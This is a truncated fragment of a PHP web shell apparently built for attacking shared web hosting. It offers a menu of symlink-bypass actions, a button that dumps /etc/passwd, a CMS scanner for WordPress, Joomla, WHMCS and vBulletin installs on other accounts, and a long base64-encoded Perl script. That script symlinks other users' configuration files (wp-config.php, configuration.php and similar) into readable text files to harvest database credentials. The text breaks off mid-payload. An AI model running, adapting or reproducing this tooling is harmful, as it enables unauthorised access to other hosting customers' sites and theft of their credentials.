$wh4=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/client/configuration.php";
$whh4= @get_headers($wh4);
$wh14=$whh4[0];
$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config="<div class=\'cone\'><a href=\'".$wpl."\' target=\'_blank\'>Wordpress</a></div>";
}
elseif (strpos($wp12, "200") == true)
{
  $config="<div class=\'cone\'><a href=\'".$wp2."\' target=\'_blank\'>Wordpress</a></div>";
}

elseif (strpos($jo, "200")  == true and strpos($wh15, "200")  == true )
{
$config=" <div class=\'cone\'><a href=\'".$wh5."\' target=\'_blank\'>WHMCS</a></div>";

}
elseif (strpos($wh12, "200")  == true)
{
  $config ="<div class=\'cone\'> <a href=\'".$wh2."\' target=\'_blank\'>WHMCS</a></div>";
}

elseif (strpos($wh13, "200")  == true)
{
$config ="<div class=\'cone\'> <a href=\'".$wh3."\' target=\'_blank\'>WHMCS</a></div>";

}

elseif (strpos($jo, "200")  == true)
{
$config=" <div class=\'cone\'><a href=\'".$jo1."\' target=\'_blank\'>Joomla</a></div>";
}

elseif (strpos($jo12, "200")  == true)
{
$config=" <div class=\'cone\'><a href=\'".$jo2."\' target=\'_blank\'>Joomla</a></div>";
}

elseif (strpos($vb, "200")  == true)
{
$config=" <div class=\'cone\'><a href=\'".$vb1."\' target=\'_blank\'>vBulletin</a></div>";
}

elseif (strpos($vb12, "200")  == true)
{
$config=" <div class=\'cone\'><a href=\'".$vb2."\' target=\'_blank\'>vBulletin</a></div>";
}

elseif (strpos($vb13, "200")  == true)
{
$config=" <div class=\'cone\'><a href=\'".$vb3."\' target=\'_blank\'>vBulletin</a></div>";
}

else
{
continue;
}
flush();
flush();


$site = $user[\'name\'] ;



flush();

echo "<tr><td><div class=\'cone\'><a href=http://www.".$domvw[1][0]."/>".$domvw[1][0]."</a></div></td>
<td><div class=\'cone\'>".$config."</div></td></tr>"; flush();

}
}
}
}
echo "</table></div><br><br>";
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'vkill\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Perl based symlink</span></center><br>\';
echo \'<br><div align=center><table width=100% border=0><tr><td align=center></td></tr></table>
<font face="Tahoma" color="#007700" size="2pt">Extract /etc/passwd</font></b><br><br><form method=post>
<input type=submit name=passx value="Extract"><p></form><br>\';
	
if(isset($_POST[\'passx\']))
{
echo \'<p><textarea class="area" rows="15" cols="50" name="usernames" >\';
$users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode("
",$user);
echo $str[0]."
";
}
echo \'</textarea></p><br>\';
 
}

echo \'<p><form method=post>
<font face="Tahoma" color="#ff6000" size="2pt"><input type=submit name=perl value="Perl based  ln -s"></font></form><br>
</p>\';
	
if(isset($_POST[\'perl\']))
{
error_reporting(0);

$vw=\'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gUGFpbiBTeW1saW5rPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmV3U3R5bGUxIHsNCiBmb250LWZhbWlseTogVGFob21hOw0KIGZvbnQtc2l6ZTogeC1zbWFsbDsNCiBmb250LXdlaWdodDogYm9sZDsNCiBjb2xvcjogIzAwOTkwMDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCic7DQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiRtc3IgPSBxeHtwd2R9Ow0KJGtvbGE9JG1zci4iLyIuJHVzZXI7DQoka29sYT1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT